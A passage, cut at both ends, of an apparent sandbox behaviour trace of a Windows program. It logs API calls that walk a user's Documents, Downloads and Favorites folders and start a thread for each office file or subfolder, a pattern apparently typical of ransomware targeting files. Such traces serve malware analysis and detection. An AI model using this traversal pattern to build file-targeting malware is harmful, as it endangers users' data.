nFileSizeLow=0xd614, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wDujmyK.pps", cAlternateFileName="")) returned 1 [0090.724] wcscmp (_String1="wDujmyK.pps", _String2=".") returned 1 [0090.724] wcscmp (_String1="wDujmyK.pps", _String2="..") returned 1 [0090.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86ebf0 [0090.724] wcscpy (in: _Dest=0x1b86ebf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.724] wcscat (in: _Dest=0x1b86ebf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.724] wcscat (in: _Dest=0x1b86ebf0, _Source="wDujmyK.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wDujmyK.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wDujmyK.pps" [0090.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ebf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0090.725] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58dd0ee0, ftCreationTime.dwHighDateTime=0x1d57840, ftLastAccessTime.dwLowDateTime=0x71346810, ftLastAccessTime.dwHighDateTime=0x1d5d544, ftLastWriteTime.dwLowDateTime=0x71346810, ftLastWriteTime.dwHighDateTime=0x1d5d544, nFileSizeHigh=0x0, nFileSizeLow=0x941a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wtwz.xlsx", cAlternateFileName="WTWZ~1.XLS")) returned 1 [0090.725] wcscmp (_String1="Wtwz.xlsx", _String2=".") returned 1 [0090.725] wcscmp (_String1="Wtwz.xlsx", _String2="..") returned 1 [0090.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ec60 [0090.726] wcscpy (in: _Dest=0x1b86ec60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.726] wcscat (in: _Dest=0x1b86ec60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.726] wcscat (in: _Dest=0x1b86ec60, _Source="Wtwz.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wtwz.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wtwz.xlsx" [0090.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ec60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0090.727] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcc5860, ftCreationTime.dwHighDateTime=0x1d5d889, ftLastAccessTime.dwLowDateTime=0x3c660560, ftLastAccessTime.dwHighDateTime=0x1d5a1b1, ftLastWriteTime.dwLowDateTime=0x3c660560, ftLastWriteTime.dwHighDateTime=0x1d5a1b1, nFileSizeHigh=0x0, nFileSizeLow=0x69a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XmtY.docx", cAlternateFileName="XMTY~1.DOC")) returned 1 [0090.727] wcscmp (_String1="XmtY.docx", _String2=".") returned 1 [0090.727] wcscmp (_String1="XmtY.docx", _String2="..") returned 1 [0090.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ecd0 [0090.727] wcscpy (in: _Dest=0x1b86ecd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.727] wcscat (in: _Dest=0x1b86ecd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.727] wcscat (in: _Dest=0x1b86ecd0, _Source="XmtY.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XmtY.docx" [0090.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ecd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0090.728] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0dcbc0, ftCreationTime.dwHighDateTime=0x1d5e12d, ftLastAccessTime.dwLowDateTime=0x4a7e4440, ftLastAccessTime.dwHighDateTime=0x1d5dd0d, ftLastWriteTime.dwLowDateTime=0x4a7e4440, ftLastWriteTime.dwHighDateTime=0x1d5dd0d, nFileSizeHigh=0x0, nFileSizeLow=0x758d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z-UOp2COUWBpT.xls", cAlternateFileName="Z-UOP2~1.XLS")) returned 1 [0090.728] wcscmp (_String1="z-UOp2COUWBpT.xls", _String2=".") returned 1 [0090.728] wcscmp (_String1="z-UOp2COUWBpT.xls", _String2="..") returned 1 [0090.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f390 [0090.728] wcscpy (in: _Dest=0x1b85f390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.728] wcscat (in: _Dest=0x1b85f390, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.728] wcscat (in: _Dest=0x1b85f390, _Source="z-UOp2COUWBpT.xls" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z-UOp2COUWBpT.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z-UOp2COUWBpT.xls" [0090.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0090.729] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7a7c40, ftCreationTime.dwHighDateTime=0x1d5d8c1, ftLastAccessTime.dwLowDateTime=0x79e630, ftLastAccessTime.dwHighDateTime=0x1d5e701, ftLastWriteTime.dwLowDateTime=0x79e630, ftLastWriteTime.dwHighDateTime=0x1d5e701, nFileSizeHigh=0x0, nFileSizeLow=0x8232, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zMFPw8q5_BpBKboWDKy.ots", cAlternateFileName="ZMFPW8~1.OTS")) returned 1 [0090.730] wcscmp (_String1="zMFPw8q5_BpBKboWDKy.ots", _String2=".") returned 1 [0090.730] wcscmp (_String1="zMFPw8q5_BpBKboWDKy.ots", _String2="..") returned 1 [0090.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7846d0 [0090.730] wcscpy (in: _Dest=0x1b7846d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.730] wcscat (in: _Dest=0x1b7846d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.730] wcscat (in: _Dest=0x1b7846d0, _Source="zMFPw8q5_BpBKboWDKy.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zMFPw8q5_BpBKboWDKy.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zMFPw8q5_BpBKboWDKy.ots" [0090.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7846d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0090.731] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c828e0, ftCreationTime.dwHighDateTime=0x1d5e18b, ftLastAccessTime.dwLowDateTime=0xc5729810, ftLastAccessTime.dwHighDateTime=0x1d5dff9, ftLastWriteTime.dwLowDateTime=0xc5729810, ftLastWriteTime.dwHighDateTime=0x1d5dff9, nFileSizeHigh=0x0, nFileSizeLow=0x16ddb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_0R6TtPbZmJEI.xlsx", cAlternateFileName="_0R6TT~1.XLS")) returned 1 [0090.731] wcscmp (_String1="_0R6TtPbZmJEI.xlsx", _String2=".") returned 1 [0090.731] wcscmp (_String1="_0R6TtPbZmJEI.xlsx", _String2="..") returned 1 [0090.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8662c0 [0090.731] wcscpy (in: _Dest=0x1b8662c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.731] wcscat (in: _Dest=0x1b8662c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.731] wcscat (in: _Dest=0x1b8662c0, _Source="_0R6TtPbZmJEI.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_0R6TtPbZmJEI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_0R6TtPbZmJEI.xlsx" [0090.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8662c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0090.732] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc313b00, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0x2e7d7aa0, ftLastAccessTime.dwHighDateTime=0x1d5df0a, ftLastWriteTime.dwLowDateTime=0x2e7d7aa0, ftLastWriteTime.dwHighDateTime=0x1d5df0a, nFileSizeHigh=0x0, nFileSizeLow=0xb248, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_i8DK.ods", cAlternateFileName="")) returned 1 [0090.732] wcscmp (_String1="_i8DK.ods", _String2=".") returned 1 [0090.732] wcscmp (_String1="_i8DK.ods", _String2="..") returned 1 [0090.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ed40 [0090.732] wcscpy (in: _Dest=0x1b86ed40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.732] wcscat (in: _Dest=0x1b86ed40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.733] wcscat (in: _Dest=0x1b86ed40, _Source="_i8DK.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i8DK.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i8DK.ods" [0090.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ed40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0090.733] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc313b00, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0x2e7d7aa0, ftLastAccessTime.dwHighDateTime=0x1d5df0a, ftLastWriteTime.dwLowDateTime=0x2e7d7aa0, ftLastWriteTime.dwHighDateTime=0x1d5df0a, nFileSizeHigh=0x0, nFileSizeLow=0xb248, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_i8DK.ods", cAlternateFileName="")) returned 0 [0090.734] FindClose (in: hFindFile=0x1cd9c970 | out: hFindFile=0x1cd9c970) returned 1 [0090.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0090.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c910) returned 1 [0090.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858970) returned 1 Thread: id = 258 os_tid = 0xd38 [0087.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9c9d0 [0087.794] wcscpy (in: _Dest=0x1cd9c9d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0087.794] wcscat (in: _Dest=0x1cd9c9d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" [0087.794] wcscat (in: _Dest=0x1cd9c9d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*" [0087.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0087.794] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca30 [0087.795] wcscmp (_String1=".", _String2=".") returned 0 [0087.795] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.795] wcscmp (_String1="..", _String2=".") returned 1 [0087.795] wcscmp (_String1="..", _String2="..") returned 0 [0087.795] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.795] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.795] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.795] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.795] FindClose (in: hFindFile=0x1cd9ca30 | out: hFindFile=0x1cd9ca30) returned 1 [0087.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0087.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c9d0) returned 1 [0087.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8589d0) returned 1 Thread: id = 259 os_tid = 0xd3c [0087.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b8589d0 [0087.806] wcscpy (in: _Dest=0x1b8589d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0087.806] wcscat (in: _Dest=0x1b8589d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0087.806] wcscat (in: _Dest=0x1b8589d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*" [0087.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0087.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c9d0 [0087.806] wcscmp (_String1=".", _String2=".") returned 0 [0087.806] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.807] wcscmp (_String1="..", _String2=".") returned 1 [0087.807] wcscmp (_String1="..", _String2="..") returned 0 [0087.807] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.807] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.807] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.807] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0087.807] wcscmp (_String1="Links", _String2=".") returned 1 [0087.807] wcscmp (_String1="Links", _String2="..") returned 1 [0087.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1c60 [0087.807] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0087.807] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0087.808] wcscat (in: _Dest=0x1b7c1c60, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0097.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0097.208] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0097.208] wcscmp (_String1="Microsoft Websites", _String2=".") returned 1 [0097.208] wcscmp (_String1="Microsoft Websites", _String2="..") returned 1 [0097.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868540 [0097.208] wcscpy (in: _Dest=0x1b868540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0097.208] wcscat (in: _Dest=0x1b868540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0097.208] wcscat (in: _Dest=0x1b868540, _Source="Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0097.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200 [0097.209] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0097.209] wcscmp (_String1="MSN Websites", _String2=".") returned 1 [0097.209] wcscmp (_String1="MSN Websites", _String2="..") returned 1 [0097.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8685c0 [0097.209] wcscpy (in: _Dest=0x1b8685c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0097.209] wcscat (in: _Dest=0x1b8685c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0097.209] wcscat (in: _Dest=0x1b8685c0, _Source="MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0097.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8685c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1204 [0097.210] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0097.210] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0097.210] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0097.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b868640 [0097.210] wcscpy (in: _Dest=0x1b868640, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0097.210] wcscat (in: _Dest=0x1b868640, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0097.210] wcscat (in: _Dest=0x1b868640, _Source="Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0097.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868640, dwCreationFlags=0x0, lpThreadId=0x0 | out: 